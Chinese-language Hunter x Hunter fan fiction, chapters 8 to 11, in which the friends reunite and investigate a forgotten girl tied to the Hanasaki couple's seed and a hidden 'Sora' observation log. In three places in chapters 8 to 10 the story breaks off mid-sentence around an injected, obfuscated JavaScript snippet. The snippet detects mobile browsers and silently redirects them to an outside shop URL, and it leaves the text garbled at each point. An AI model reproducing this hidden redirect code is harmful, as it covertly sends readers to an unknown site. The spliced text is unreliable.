“——至于到底是不是一颗普通的种子谁知道呢。花咲夫妇前几年就死掉了,对,就在我们参加猎人考试的前四年。凶手好像还是幻影旅团吧。没有人知道这个答案。”
“他们不是有一个女儿吗?”奇犽不知怎的问出了这个问题。
就好像本该这样一般。
“女儿?”雷欧力欧诧异地扬起眉毛,不可置信地看着他。“要是有女儿的话,比杨德·尼特罗就不会那么碎碎念念了。”
奇犽“哦”了一声,像是早就料到这个答案,又像是有点意外。
他把视线从窗外收回来,指尖轻轻敲了敲桌面,没再追问。
“不过说到这个,‘花咲祭’这个词……我好像确实有点印象,猎人协会里有人在研究这个,应该在什么报告里见过。”雷欧力欧揉了揉太阳穴。“在花咲夫妇死之前不叫这个名字吧?叫什么来着……”
奇犽没再说话,只是把巧克力纸揉成一团,丢进旁边的垃圾桶。
“雨好像小一点了。”他看向窗外,“我们走吧。”
8. chapter.8
雨势终于小了些,细密的雨线被风一吹,斜斜地扫过街道。屋檐下的积水顺着边缘滴落,敲在地面的水洼里,发出单调的声响。
“你好,我想问今天还营业吗?”酷拉皮卡拨开门帘,把身子探入门内,看向柜台后正在擦拭水晶的女人。
女人戴着一顶绣着紫色蝴蝶暗纹的深灰色兜帽,帽檐遮住了大半张脸,只露出线条柔和的下颌和一抹浅淡的笑意。
她身后的陈列柜里摆满了琳琅满目的水晶,从澄澈的白水晶到深邃的紫晶,每一块都被擦拭得发亮,在暖黄的灯光下折射出细碎的光斑。
几串缀着彩色羽毛的捕梦铃悬挂在天花板下,随着门帘晃动的气流轻轻摇曳,风铃碰撞发出清脆空灵的铃声,像泉水淌过青石。
室内的暖气带着淡淡的檀香扑面而来,让酷拉皮卡被雨水浸透的身体微微回温,冻得发僵的指尖也泛起一丝暖意。
“这位客人请稍等一下。”女人笑吟吟地放下手中的麂皮绒擦拭布,将最后一块菱形水晶摆回原位。
她的声音软糯温和,带着一种奇异的安抚力,让酷拉皮卡紧绷的肩线不自觉地放松了些许。
他站在原地,目光掠过店内铺着的深色木质地板,地板缝隙里嵌着细小的沙粒,像是从遥远的地方带来的尘埃。最后看向手里仍握着的那块刻着’窝金’的石头。
石面被雨水泡得冰凉,粗糙的纹路硌着掌心,带来一阵轻微的刺痛。他低头看着那两个字,指尖沿着笔画的边缘慢慢划过——很浅,像是刻字的人刻意控制着力道,不想让人遗忘坟墓的姓名;但又怕刻的太深,让人觉得后来者理所应当知道长眠于此的身份。
窝金,幻影旅团的一员,双手沾满无数人鲜血的刽子手。
这并不是一件值得知道的事情。
他把石头翻过来,背面没有字,只有一些自然的纹理,被雨水冲刷后显得有些发亮。那些黑色的念残留还在,像一层薄薄的雾,贴在石头表面,带着一点若有若无的压迫感。
不是战斗留下的。
至少,不是他熟悉的那种战斗。
酷拉皮卡的眉头微微蹙起。
指尖沿着那些花藤的纹路慢慢划过。
这些线条太柔和了。
柔软得不像旅团会留下的痕迹。
旅团的东西,总是带着一种锋利的、不加掩饰的暴力感。无论是涂鸦般的蜘蛛标志,还是他们说话的方式,都像一把没有鞘的刀,随时准备划破空气。
但这上面的花藤……不一样。
转折处带着一点笨拙的弧度,像是刻字的人并不擅长这种细致的工作,却还是认真地一笔一画地刻了下去。藤蔓缠绕着“窝金”两个字,像是在试图用温柔的方式,包裹住一个早已冰冷的名字。
让他那颗快要死寂的心也有了活过来的迹象。
“请问需要什么服务呢?”女人已经收拾好了桌面,抬手示意酷拉皮卡坐在靠窗的藤椅上,藤椅上铺着柔软的棉垫,“店里可以鉴定念具、解读残念,也能帮客人寻找遗失的物品。”
酷拉皮卡向前走了几步,在藤椅上坐下,椅面的弧度贴合着身体,带来一丝久违的松弛感。他将掌心的石头轻轻推到女人面前的木质桌面上,石头与桌面碰撞,发出一声沉闷的轻响。
“帮我看一下这块石头上的残念。”
女人轻笑一声,葱白的手指拾起石头放在掌心看了一圈,闭上眼睛细细地感受上面念的波动。
店内暖黄的灯光似乎暗了一瞬,所有水晶在同一刹那停止了折射,仿佛连光都被她掌心汲取。悬挂的捕梦铃无风自动,发出一串紊乱而急促的碎响,不再是泉水叮咚,更像是遥远记忆中某场暴雨的余音。
暖黄的灯光落在她的脸上,能看到她长长的睫毛在眼睑下投下的淡淡阴影,神情专注而宁静。
片刻后,她睁开眼睛,眼底似乎掠过一丝极淡的讶异,随即又恢复了温和的笑意。
“这是一段被遗忘了的过去。先生。方便的话,可以把胸前口袋里的耳坠拿出来吗?”她笑着看了看酷拉皮卡。
“啊,好。”酷拉皮卡微微一顿,掏出那枚淡蓝色的耳坠递到女人的手心,上面还带着温热的体温。
女人接过耳坠,将它与石头并排放在一起,闭上眼睛再次感受。这一次,她的眉头微微蹙起,神情比刚才严肃了些许。过了好一会儿,她才缓缓睁开眼。
“这两个物品的气息来源于同一个人身上。不过不同的是,这个耳坠也有您的气息,很淡,但是也可以被我感应到。”
“先生,您应该是忘记了什么。”女人眯着眼把耳坠和石头推回。“上面的誓约和制约的气息很浓,还掺杂着不属于人类世界的念。”
提到不属于人类世界,酷拉皮卡第一时间想到了黑暗大陆。
誓约与制约、还和黑暗大陆有关吗……
酷拉皮卡的视线在耳坠上停了半秒,随后小心地收起来,把石头揣在手心。
“我知道了。报酬会打到你的卡上。”
——“欢迎下次惠顾。”
伊路米对着西索如是说,黑白的双眸盯着下方银色和黑色的头发,想了想又补充道。
“猎人考试那会通过的一个黑发考生你还记得吗?”
“嗯,你说的是那个苹果种子吗。伊路米你什么时候开始对这些无关的人上心了,好让我伤心~”
“我知道了。”
“拿了钱就开始对我冷淡起来了呢~伊路米~”
“没什么事的话我先挂了。再见。”伊路米果断按下挂断键,盯着三个人的方向沉思几秒,离开了这里。
“我总觉得有人在看着我。”奇犽环视了一圈,没发现什么异常,摸了摸鼻子。“好恶心的感觉,像被伊路米盯着一样。”
“伊路米怎么可能出现在这里,你不是说他到处做任务压根找不到人吗?”雷欧力欧双手抱胸。“倒不如快点找找酷拉皮卡在哪里吧。”
“在找了大叔,”奇犽啧了一声“一时半会哪有这么快,不止我们在走,酷拉皮卡也在走啊。”
“一个两个都不让人省心……唔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261311|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唔……”雷欧力欧的嘴里措不及防地被塞了一把巧克力球,刚好没喘上气,脸憋的通红。
“闭嘴吧,老婆婆大叔。”始作俑者看着雷欧力欧这副模样,捂着嘴笑了起来。
“唔唔……”雷欧力欧说不出话,指着前面开始比划起来。
“看不懂诶,雷欧力欧。”奇犽得意洋洋地笑起来,一个没注意迎面撞上了结实的臂膀。
“我说、走路总要……”奇犽正想发作,是谁那么大胆拦住他的路,抬头一看熟悉的脸庞出现在他的上方。
“大哥?”他连忙后退几步,拉着亚路嘉的手有些慌张。“你怎么在这里?”
“做任务路过,顺便看看奇犽和——”伊路米瞥过一旁的雷欧力欧,视线意味不明地落到亚路嘉身上,奇犽把她往身后藏了藏。
“——亚路嘉。”伊路米补完了后半句。
他的目光从上到下毫不掩饰地把奇犽和亚路嘉打量了个遍。
“奇犽和亚路嘉都长高了呢。”他微微弯起嘴角,似乎是很满意他们的成长。
“妈妈很想你们呢,尤其是你——奇犽。什么时候可以带着亚路嘉回家看看呢。我们都很期待你们能够回来呢。”
他顿了顿,纯黑的眼珠缓缓转向奇犽,瞳孔里映不出任何光亮。
“你总要回来的,总要回到揍敌客的。”他说。
“我知道了。”奇犽应道,语气有些不耐烦。
“之前和你一块的那个女生呢?”伊路米问道。
“女生?谁?”奇犽疑惑地看着他,语气带着茫然。
“……”
伊路米没有说话,他微微偏了一下脑袋,黑沉的眼珠一眨不眨地锁住奇犽的脸,似乎是在辨明对方是否在撒谎。
时间在沉默中拉长。
奇犽感觉自己的左耳垂,毫无征兆地,又开始泛起那种细微的、如幻觉般的刺痛。
“可能是我记错了。”伊路米眨了一下眼,口袋里的手机震动了一下。
“你这话是——”
什么意思。
“我要去做任务了。下回见。”还未等奇犽说话,伊路米就消失在了奇犽面前。
一直待在一旁不说话的雷欧力欧深深地吐了一口气。刚刚伊路米说话的时候他大气都不敢出。
“怎么会这么巧。”他扶着墙,支撑住酸软的双腿。
“真是倒霉。看来他早就发现我们了。”奇犽插着手不满道。
“不过他这话说的什么意思。除了小杰,我身边还有别的朋友和我一块?我怎么一点印象也没有。”说到后面,他的声音变小,自顾自地嘟囔道。
“好啊,你这小子早就背着我有女朋友了。”雷欧力欧一把搂住奇犽的脖子,在他耳边吵吵闹闹。
“什么啊,我一点印象也没有!不信你问小杰。”奇犽反驳道。
“你还背着我们辜负人家——”
“没有这回事。”
“哥哥,女朋友是什么呀……”
“没有这回事!小孩子不要多问!”
9. chapter.9
[Gong]:奇犽,我到友克鑫了。你在哪里?——现在
[Evance]:怎么那么突然?——现在
[Gong]:唔、一时半会说不清楚,见面再说吧。——现在
[Evance]:(定位)
[Evance]:好。——现在
小杰最近觉得很奇怪,总感觉记忆里少了一块东西。起初他以为是不习惯念能力的消失,但过了几天这种现象还是没有好转。尤其是收到奇犽照片的时候,这种感觉反而越来越重。像心口悬着一颗轻飘飘的石子,落不下去,也抓不住。
到底是什么原因呢?
他绞尽脑汁地想着。
和狐熊玩闹的时候,因为走神不小心被它拍到了,好痛——
钓鱼的时候鱼线轻轻浮动了一下,因为发呆所以让它溜走了,鱼呢——
爬上树的时候没注意被蜜蜂叮了一口,肿起了一个大包——
“小杰。”米特阿姨的声音把他拉回现实,她坐在一旁,有些担忧地看着他。
“饭吃到嘴边了哦。”她拿起一旁干净的亚麻布手帕,动作轻柔地擦去他嘴边的饭粒。
米特阿姨的指尖温暖,带着常年洗涤杯碟留下的淡淡皂角香。小杰下意识抬起头,看见米特阿姨深褐色的眼睛里,映着他自己茫然的脸。
“啊,不好意思,米特阿姨。”小杰这才回过神来,不好意思地挠了挠头,黑色的短发被他揉得乱糟糟的。
“最近总觉得你好像有什么事情在瞒着我。要不要试着和米特阿姨倾述一下呢?虽然不是猎人,但以大人的角度会想到更多的原因呢。”米特阿姨放低了声音,笑眯眯地看着他,指尖轻轻点了点他的桌沿。
“那个……这几天心里一直空落落的,好像丢了什么东西。但是仔细想想却没有什么,什么都没有变化……”小杰皱着眉头冥思苦想,显然陷入了难以回答的问题中。
“是不是忘记了什么呢?比如忘记一个人或者是和一个人珍贵的回忆。”米特阿姨微微倾身,声音温柔却笃定。
“鲸鱼岛的一切小杰都知道,那肯定问题不出在这里。不如试着去找找奇犽他们呢?他们是你冒险认识的伙伴吧?一定有办法的。”她说着,伸手抚平小杰眉间皱起的波纹,笑着点了点他的鼻尖。
“你这孩子有时候就是死脑筋呢。”
“那米特阿姨呢?”小杰的眸光驻足在米特阿姨的笑颜上,“米特阿姨不会寂寞吗?”
“不哦。”米特阿姨摇摇头,目光略过眼前的小杰,看向酒吧里来来往往的人群。
“从小杰成为猎人的那一天起,你就拥有了属于自己的人生。米特阿姨能做到的只有为你敞开这个家,随时等待你的归来。”
“而且,鲸鱼岛里有那么多的人,那么多的故事。米特阿姨为什么会感到寂寞呢?”她抬手,掌心轻轻覆在小杰的头顶。
“米特阿姨在骗人。”小杰定定地看着她。“米特阿姨说谎的时候,绝对不会看着我的脸说话。”
“啊。好吧。”米特阿姨的眼神里闪着波光,轻轻地叹了一口气。
“小杰走了的话,我确实会感到一点点、就一点点的寂寞。”她伸出食指和拇指,比出一个细细的缝隙,语气里带着一点无奈。“身为一个母亲,不能看着小杰一步步成长的过程,是一件非常遗憾的事情。”
“甚至有时候会自私地去想:如果小杰不参加猎人考试就好了。”她微微皱起眉头,苦恼地摸了摸自己的脸。
“但是,比起这些,最重要的还是小杰你自己做主的人生。我不能干涉你,那样的话你不开心,我也不会开心的。所以忍受一点点的寂寞,也是可以的。”
“去吧,去找回属于你的东西。”米特阿姨俯下身,眼眶微红,浅浅地抱住了小杰。
“我知道了,米特阿姨。”小杰伸手,紧紧地回抱住她,把脸埋在她的肩头,声音轻轻的,带着一点鼻音。
——“就是这样啦。所以我就来找你们了。”小杰不好意思地笑了笑,看着面前的三人。
“好久不见了,大家。”
空气安静了半秒。
雷欧力欧最先反应过来,整个人像被点燃了一样,猛地冲过去一把抱住小杰。
“小杰——!!你这家伙终于出现了!!”他的声音激动得有点破音,“你知道我们有多想你吗?!”
小杰被勒得有点喘不过气,却还是笑着拍了拍雷欧力欧的背。
“雷欧力欧,好久不见。”
奇犽站在原地,脸上先是愣住,随后慢慢绽开一个他自己都没察觉的、真正放松的笑容。
“喂,你这家伙……”他走过去,毫不客气地给了小杰一拳,“突然就跑到友克鑫来,也不提前说一声。”
小杰揉了揉被打的肩膀,笑得更灿烂了。
“因为我想快点见到奇犽啊。”
奇犽的耳尖微微红了一下,飞快地别过脸去,语气故作嫌弃。
“切……真是的,真拿你没办法。”
亚路嘉站在后面,看到小杰的那一刻,眼睛亮得像星星。她轻轻拉了拉奇犽的衣角,小声说:
“哥哥,是小杰。”
奇犽点点头,温柔地摸了摸亚路嘉的头。
“嗯,是小杰。”
亚路嘉这才放心地走到小杰面前,露出一个怯生生却很开心的笑容。
“小杰,好久不见。”
“亚路嘉!”小杰蹲下身子,和她平视,“你长高了好多!”
亚路嘉被夸得脸颊微红,轻轻“嗯”了一声,手指揪着玩偶的胳膊。
“先把丢了什么的事情放一边,既然你来了,我们就说说酷拉皮卡这小子的事情吧,太不让人省心了!”
雷欧力欧放开小杰后站在一旁,双手叉腰,一脸“我是长辈”的表情。
“电话不接,信息不回,问了旋律她也不知道他去哪了,还莫名其妙搞失踪。太不像话了!我们必须狠狠制裁他!”雷欧力欧用力拍了拍小杰的背,像是在强调他的话。
“酷拉皮卡应该也有想不通的事情吧?怕给我们添麻烦所以没有告诉大家。”小杰眨了眨眼思考道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261312|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
就在这时,一阵极轻的脚步声从后方靠近,像刻意放轻了力道,却仍带着难以忽略的存在感。
小杰回头,像早就察觉到似的,指了指雷欧力欧和奇犽身后。
“而且,他不就在雷欧力欧和奇犽的身后吗?”
就在他话音落下的同时,酷拉皮卡的身影从光影的交界处“浮现”出来。
金黄的发色在光线照耀下更加鲜明。
“狠狠制裁我吗?”酷拉皮卡重复了一遍雷欧力欧的话,直直地看向对方,语气平静:“好久不见,雷欧力欧你的脾气越来越大了。”
“等等,怎、怎么回事?”雷欧力欧后退一步,有些慌张地看了酷拉皮卡一眼,随后不断地给他们三个使眼色。
雷欧力欧:记得保护我啊。
奇犽:自求多福。
亚路嘉:雷欧力欧叔叔的眼睛怎么了?
“奇犽把定位发给我的时候酷拉皮卡刚好给我发消息,我就问酷拉皮卡要不要过来,酷拉皮卡很爽快的就答应了。”小杰开口解释道。
“好啊你这个酷拉皮卡,把我们的消息当空气!”雷欧力欧捕捉到其中的关键词有了底气,语气铿锵有力地开始反问酷拉皮卡。
“我……”酷拉皮卡果然沉默了几秒,不知道该说什么,良久,才低声挤出一句。
“抱歉。让你们担心了。”他垂着眼眸,指尖微微收紧。
“既然想得到我们的原谅,那你就老老实实地说出你最近在想什么、做什么、准备了什么!”雷欧力欧一把拦住酷拉皮卡的肩膀,凑到他的耳边恶狠狠道。
“大叔,你什么时候变成半夜十二点狗血剧里面盘问丈夫的妻子了。”奇犽毫不客气地笑了一声。
“这么一说,好像确实诶。”小杰想了想,附和道。“就好像在问酷拉皮卡你到底爱谁一样。”
“你们两个,到底向着谁啊——说好的齐心协力呢?”雷欧力欧气得跳脚。
“消停一点啦——大叔。”奇犽无所谓地摆摆手,做了一个鬼脸。“酷拉皮卡不会出轨的,你就放心吧。”
“你在说什么啊小鬼!信不信我揍你啊!”
“老婆婆大叔这点三脚猫功夫就别异想天开了——”奇犽笑着拖长语调。
“雷欧力欧好像确实打不过奇犽诶。”小杰站在一旁,手指抵着下巴,在心里默默对比了两人的实力,随后耿直地说出了答案,一脸认真。
“……”雷欧力欧顿时语塞,张了张嘴,却一句话都说不出来,脸上的表情格外精彩。
“噗哈哈哈……”酷拉皮卡看着眼前的情景笑了起来,轻握成拳的右手抵在嘴前,露出了自进门以来第一个笑容。
雷欧力欧的嘟囔渐渐停了下来,他看着酷拉皮卡的笑容,也忍不住微微弯起嘴角。站在一旁的奇犽插兜和小杰相视一笑,亚路嘉抱着玩偶,被气氛传染也笑了起来。
紧绷的空气,终于像被风吹散般,变得柔软起来。夕阳将五个人的影子拉得很长,在身后交织成一团模糊的、不分彼此的巨大阴影。
好久不见。
10. chapter.10
友克鑫市旧城区,那家招牌褪色的咖啡馆在黄昏中像一座孤岛。
窗外的雨停了,但乌云仍未散去,低低地压在城市天际线上,将黄昏的光线过滤成一种浑浊的、介乎于明暗之间的灰金色。雨水积在窗沿,一滴一滴坠落,敲打着下方斑驳的檐沟,发出规律而空洞的滴答声。
馆内,老旧的空调发出沉闷的嗡鸣,空气里弥漫着咖啡渣、旧书页和潮湿木地板混合的气味。墙上的挂钟指针指向下午五时四十七分。
他们五人围坐在靠窗最大的那张沙发座里。奇犽背靠窗户,银发在灰光里泛着冷调的光泽。小杰坐在他对面,身体微微前倾,保持着专注姿态。
“所以酷拉皮卡的意思是你在和窝金决斗的时候还有一个人的存在?”小杰总结道。
“嗯,起初我以为是幻影旅团幸存的成员。但是后面想想应该不是,毕竟幻影旅团没有那么闲,他们更喜欢简单粗暴的动手。所以我找了忆念师,她和我说是被我遗忘了的记忆。”酷拉皮卡浅酌了一口咖啡,淡淡道。
“这么说来,我也感觉我忘记了什么。”小杰皱着眉头认真地思考,过了好半晌,漏出一个沮丧的表情。“完全想不到——”
两个人视线看向一言不发嚼着巧克力球的奇犽。
“这种感觉我倒是有一点吧,但更让我在意的是我出现了幻觉。总觉得左耳垂挂着一个耳坠,我怎么可能带那种东西。”奇犽的肘弯贴着沙发,小臂垂在沙发的软靠,打了个哈欠懒懒道。
“耳坠?”酷拉皮卡的动作几不可察地顿了一下。他放下杯子,手探进西装内侧的口袋,再拿出来时,指尖拈着一抹清澈的、冰蓝色的光。
是枚耳坠。
他捏着细链,将它悬在众人视线中央。夕阳的余晖恰好穿过它中心最剔透的部分,折射出一小片颤动的、星子般的火彩,幽幽地映在深色桌面上
“等等,这是怎么回事?”奇犽的心跳一顿,紧盯着这枚耳坠,瞳孔如猫般竖了起来。“你从哪里得到的。”
“在幻影旅团的尸体旁边捡来的。”酷拉皮卡有些不自然地握成拳抵在嘴前轻咳一声。
他还没告诉他们这件事。
“哈?”因为过于惊讶,奇犽被巧克力呛得直咳嗽。亚路嘉在一旁轻轻拍着他的背。
“幻影旅团死了?”雷欧力欧几乎是弹了起来,瞪大眼睛。“这么大的事情你不和我们讲!?”他扑到酷拉皮卡的面前,不由分说地拉着酷拉皮卡的手,从头到脚看了一遍。“你有没有缺胳膊少腿啊,让我看看。”
“嘶……”雷欧力欧不小心碰到身上的伤口,酷拉皮卡倒吸一口凉气。“没事,雷欧力欧,只是一点小伤。”他推开雷欧力欧的手。
“小伤你痛成这样?”雷欧力欧皱起眉头,“多在乎一点你自己好不好!待会你和我回去,我给你配药。”
“不……”酷拉皮卡刚想开口,就被雷欧力欧打断。
“不能拒绝!今天你要是拒绝,我们就不是朋友,以后看到你就一次,我就、就带着小杰和奇犽打你一次。”
奇犽和小杰看着他没说话,在这种时候他们达成了一样的默契。
“我知道了。雷欧力欧。”酷拉皮卡垂下眼眸没再拒绝,心里泛起一股暖流。
“等你伤好了,我们可要好好庆祝一下。”雷欧力欧叉着腰笑道。“锁链手VS幻影旅团,锁链手win!”
“其实我也不太清楚我和幻影旅团的打架过程了。等我有记忆的时候,他们七零八碎地躺在我旁边。只有这个耳坠在地上闪着光。”
“酷拉皮卡,”奇犽的声音有些发干,“把它……给我看看。”
酷拉皮卡没有犹豫,他用指尖捻起耳坠的银针递给奇犽。
耳坠落入奇犽掌心的瞬间——
时间出现了裂痕。
一股浓烈的微微发苦的勿忘我香气扑面而来,带着模糊的、令人深刻的记忆。紧接着有指尖轻轻拂过他左耳垂的皮肤,动作温柔。
那指尖微凉,带着同样的花香,轻轻遮住了他的双眼。然后,先是冰凉的小东西擦过耳垂,再是温热的呼吸拂过耳廓,一个带笑的声音,贴着耳朵,用气声说:
“笨蛋奇犽!猜猜我是谁……”
——!
奇犽的心脏猛地缩成一团,他不自觉地攥紧手掌,尖锐的穿孔针瞬间刺破掌心皮肤,细微的刺痛将他从幻觉中拽回。鲜血的温热与耳坠的冰冷在掌心交汇。
“奇犽?”小杰第一个察觉异常。他看见奇犽的脸色一瞬间变得苍白,银发下的额头渗出细密的冷汗,蓝色的瞳孔剧烈收缩,又扩散,最后聚焦成一个颤抖的、近乎恐惧的光点。
“我认识它。”
“什么?”酷拉皮卡身体前倾。
“不,不是认识……”奇犽纠正自己,每一个字都像从牙缝里挤出,“是我的身体……记得它。”
他松开手,耳坠静静躺在他掌心,蓝色的火彩幽幽闪烁。
“它应该挂在这里。”奇犽用另一只手指向自己空无一物的左耳垂,“很多次……很多次我感觉到它在这里,冰凉,摇晃,蹭着我的脖子……但我看不到它。”
空气彻底凝固了。
酷拉皮卡茶色的瞳孔剧烈收缩。他缓缓从怀中取出那块刻有“窝金”的石头,放在桌上,与耳坠并排。
“它们上面的念出自同一个人。”酷拉皮卡的声音低声道,“那个忆念师说这是‘被遗忘的记忆载体’。”
大家都沉默了。
“幻影旅团死的那天是几号。”奇犽开口道。
“10月19号。”
“我的幻觉也是从10月19号开始的。”
“我好像也是看到奇犽那天的照片感觉奇怪的。”小杰往上翻了翻聊天记录,拉出那张亚路嘉和奇犽带着花环的合照摆在大家面前。“就是这张。就好像亚路嘉和奇犽旁边还有一个人一样……”
“是拿尼加做的花环诶。”亚路嘉眨眨眼睛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261313|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“10月19号……”雷欧力欧喃喃道,“这不是花咲祭的日子吗?”
四个人的视线都看向他。
“那天奇犽问过我之后我就去查了一下地方志。”雷欧力欧被看的有些不自在,把手机屏幕调转过来遮在眼前。上面是古老的文献照片扫描件,字迹潦草模糊,边缘有被火焰灼烧的痕迹。
“很不可思议呢,在叫花咲祭这个名字之前,它叫生死祭。”
“据说,这片土地在古代是某个部落的圣地,他们相信生命源于‘种子’,死后也会回归‘种子’。所有受过这片土地恩惠的人,都会在每年的这一天,被土地召唤回来,无论是以活人的身份,还是以别的形式。”
雷欧力欧滑动屏幕,下一页是一张褪色的民俗画:月光下,人们捧着发光的种子起舞,远处森林幽深。
“之前伊路米不还问奇犽身边的女生去哪了吗?说不定你就是碰到她了哦。”雷欧力欧伸出食指晃了晃,“这样所有都理所应当了——”
“真相只有一个——那就是因为奇犽你辜负了她,所以她来找你复仇了!”他推了推并不存在的眼镜,一本正经地说道。
“哈!?”
“开玩笑的。”雷欧力欧轻咳一声。“花咲夫妇的实验报告我也看了,在拿到种子的第二年6月6号,他们宣布种子完全失活,从那以后再也没有上传资料了。”
“黑暗大陆的东西没有那么脆弱。”回想到从黑鲸号上岸后看到的那一幕,酷拉皮卡反驳道。
“对,这也是比杨德碎碎念念的原因。他肯定偷偷调查过好几次,但没想到这对夫妇隐瞒的天衣无缝,查不出任何差错。”
“奇犽之前还问我,花咲夫妇是不是有个女儿。再结合酷拉皮卡给出的信息——虽然不知道他们是怎么做到的……”
“所以那个种子就是他们的女儿。”四个人眼神交汇异口同声道。
“啊?”亚路嘉抱着玩偶好奇地看着他们。“哥哥好厉害。”
窗外,最后一丝天光被乌云吞噬,夜晚正式降临。友克鑫的霓虹开始闪烁。
“如果想要知道我们到底遗忘了什么。就必须找到那颗种子。”酷拉皮卡沉思道。
“那就得回到花咲馆了。”奇犽摆手。“当时我和亚路嘉还在那里看到了一个残念化作的小女孩。现在想来就是她了。”
“哭的还挺让人难受的。”末了,他像是想起什么又补充一句。
“……被在意的人遗忘是一件很痛苦的事情吧。”沉默许久的小杰出声。“她在我那里什么都没有留下。”
“是啊……”
他们离开咖啡馆时,已是深夜。
雨又下了起来,细密冰冷,在霓虹灯下编织成一张彩色的、虚幻的网。
五个人站在屋檐下,没有人说话。奇犽把外套披在亚路嘉身上,小杰望着雨幕出神,酷拉皮卡将耳坠和石头仔细收好。雷欧力欧长长地叹了一口气。
风卷着雨丝,掠过空旷的街道。
11. chapter.11
时隔半月,奇犽又回到了这里。相比花咲祭那个时候,这里的人少了很多,但还是有大捧大捧的鲜花摆在橱窗里,向人们展示它的美丽。
“好漂亮的花!”小杰没见过那么多品种的花,一下子目不暇接。“好香!”他低头鼻尖触碰柔软的花瓣,轻轻地吸了一口气。
摊主是位系着围裙的女人,见状笑了起来。她手指微动,一小束勿忘我便被无形的气流托起,轻飘飘地落在小杰面前。“很有眼光嘛,小弟弟,送你了。”
“谢谢!”小杰想要紧紧地抱住这束花,但又怕太用力弄坏了它,所以小心翼翼地捧在手心里,好奇地把每一朵仔仔细细看了一遍。
“走了,小杰。”
走在前面的奇犽回头喊了一声,嘴里还叼着刚拆开的巧克力球。亚路嘉安静地跟在他身侧,怀里抱着兔子玩偶,雷欧力欧正一边走一边拍打外套上不知何时沾上的灰尘,酷拉皮卡的目光掠过街边建筑的花纹。
“来了。”小杰小跑着跟上,与奇犽并肩。午后的阳光把他的影子拉得细长,在石板路上轻轻跳跃。
“你从哪弄的这束花?”
“摊主送我的。人特别好!”
“真拿你没办法。”奇犽别过脸,银发在空中晃荡。
酷拉皮卡和雷欧力欧跟在后面浅浅地笑着。
“到了。”
奇犽扫了一眼旁边老旧的秋千,跟上次一样推开木门。冷风顺着缝隙吹过他的脸颊,扑面的粉尘呛得他直咳嗽。他挥了挥手,用手掩住口鼻。
“进去找找吧。”奇犽迈过门槛,壁灯顺着声音亮起。木板还是那样吱呀吱呀的响。
错落有致还带着点古韵味。
酷拉皮卡打量着墙壁上精美的花纹和古典的木制家具。不禁赞叹道夫妇两的审美。
“阿嚏、阿嚏。”雷欧力欧被呛得打了好几个喷嚏。“这里已经很久没人来过了吧。”
“是雷欧力欧你的脚步太重了。一抬脚就把这些灰扬起来了。”奇犽在楼梯上回应道。
“这也不怪、阿嚏、我吧。”
“我们动作轻一点吧。”酷拉皮卡拿起桌上的古籍道,他随手翻开一页,上面的内容吸引了他。
四人分散开,将这座两层小屋细细搜寻了一遍。柜门被无声拉开,抽屉被小心翻检,甚至连壁炉的内壁都被敲击检查。
“怎么什么都没有啊。”雷欧力欧瘫坐在地上。“是不是被比杨德翻走了啊。”
“你在说什么啊大叔。”奇犽咬着巧克力球含糊道。
“好奇怪。为什么房间里面有那么多的玩偶。”小杰指着推开的门口一脸疑惑。
“儿童房不就那样吗。亚路嘉也有很多。那死肥猪在房间里面还摆了一圈周边。”奇犽随口说道。
“不一样的感觉。”小杰摇摇头。
亚路嘉抱着自己的兔子玩偶,安静地走到架子前。她仰头看了一会儿,忽然松手,任由自己的兔子掉在地上,转而从架上抱起一个看起来有些年头的、穿着褪色蓝裙子的布偶熊。
“喜欢……”她低声说,把脸轻轻贴在熊耳朵上,声音细细地响起:“拿尼加也喜欢……很好闻的味道。”
“亚路嘉,上面有很多灰尘的。”小杰拿起一个玩偶,粉尘粘在了他的手上,他又把它放了回去。
“好吧。”亚路嘉有些舍不得,但还是把怀里的布偶熊递向小杰。小杰刚接过那个沉甸甸的、带着陈旧织物气息的玩偶,一团极其微弱的光芒从缝合线的腹部里透了出来。
“这是——?”小杰微微一顿,手指下意识地摸向发光处。玩偶腹部的填充物触感有些异样,里面似乎藏着什么长柱形的、硬质的东西。
“快过来看!”他一边招呼,一边小心地撕开缝合线从里面掏出了有些泛黄的卷轴。
“‘Sora’项目观察记录?”酷拉皮卡照着念了出来。
“Sora”项目观察记录(第1-83号)
记录者:花咲苍、花咲铃
记录对象:DC-S-001(代号“Sora”)
“果然……”酷拉皮卡深吸一口气,“检查其他玩偶!应该还有更多。”
四人立刻动手,小心地拆解起那些看起来格外鼓胀、或缝合线格外紧密的玩偶。一个、两个、三个……越来越多的卷轴或折叠的纸页被找出来,在地板上渐渐堆起一小摞。
酷拉皮卡拿起最上面一份,就着窗口透入的天光,轻声念出上面的内容。
【观察记录第1号】
日期:3月14日
